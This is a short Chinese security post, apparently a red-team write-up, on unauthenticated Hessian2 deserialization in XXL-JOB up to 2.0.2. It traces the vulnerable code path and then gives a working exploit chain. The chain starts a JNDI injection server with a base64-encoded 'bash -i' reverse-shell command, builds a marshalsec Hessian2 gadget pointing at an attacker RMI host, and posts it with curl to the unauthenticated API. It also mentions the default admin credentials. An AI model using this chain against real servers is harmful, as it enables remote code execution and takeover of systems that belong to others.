dddd
XXL-JOB 未授权 Hessian2反序列化
0x00前言
前一段时间在一个红队项目中偶然间发现了一个XXL-JOB,比较老的一个洞了,搭建成功后会有一个默认账号密码admin/123456写在文件中的。这不是重点,重点是xxl-job <=2.0.2存在Hessian2反序列化。
0x01分析
首先看一下这个未授权反序列化中的未授权,这里判断是否有权限限制的时候默认false了这就导致api可以未授权访问了。
继续跟进看一下是怎么做到反序列化的,跟进一下invokeAdminService方法,继续跟进handle,这里有一个if判断,target为空的时候会进入if触发parseRequest
继续跟进parseRequest,传入数据不为空就会触发下面的反序列化方法
在反序列化的时候重写了方法使用了Hessian2反序列
至于为什么使用Hessian2是因为XxlJobDynamicScheduler这个动态调度类中调用了initRpcProvider方法,指定了hessian2
0x02利用
未授权API http:///x.x.x.x/api
启动恶意JNDI注入利用服务https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A x.x.x.x -C "bash -c {echo,xxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}"
利用marshalsec最新版本生成Hessian2这个Gadget来生成payload(这里注意一下高版本JDK的trustURLCodebase,选择对应的payload)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/fxtndd > test.ser
发包Go
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api
参考资料
点击收藏 | 1
关注 | 1